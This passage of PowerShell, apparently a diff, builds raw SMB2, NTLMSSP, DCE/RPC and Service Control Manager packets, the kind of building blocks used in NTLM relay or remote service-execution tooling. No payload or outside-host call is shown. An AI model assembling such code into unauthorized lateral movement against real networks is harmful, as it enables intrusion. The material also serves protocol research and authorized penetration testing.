$packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) + $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) + $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) + $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header + } + + function Get-PacketSMB2NegotiateProtocolRequest() + { + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest + } + + function Get-PacketSMB2SessionSetupRequest() + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest + } + + function Get-PacketSMB2TreeConnectRequest() + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest + } + + function Get-PacketSMB2CreateRequestFile() + { + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile + } + + function Get-PacketSMB2ReadRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest + } + + function Get-PacketSMB2WriteRequest() + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest + } + + function Get-PacketSMB2CloseRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest + } + + function Get-PacketSMB2TreeDisconnectRequest() + { + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest + } + + function Get-PacketSMB2SessionLogoffRequest() + { + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest + } + + #NTLM + + function Get-PacketNTLMSSPNegotiate() + { + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate + } + + function Get-PacketNTLMSSPAuth() + { + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth + } + + #RPC + + function Get-PacketRPCBind() + { + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("RPCBind_Version",[Byte[]](0x05)) + $packet_RPCBind.Add("RPCBind_VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("RPCBind_PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("RPCBind_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("RPCBind_AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("RPCBind_MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("RPCBind_AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("RPCBind_Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID",$packet_context_ID) + $packet_RPCBind.Add("RPCBind_NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface",$packet_UUID) + $packet_RPCBind.Add("RPCBind_InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("RPCBind_ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind + } + + function Get-PacketRPCRequest() + { + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) + $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) + $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) + $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) + $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) + } + + return $packet_RPCRequest + } + + #SCM + + function Get-PacketSCMOpenSCManagerW() + { + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return 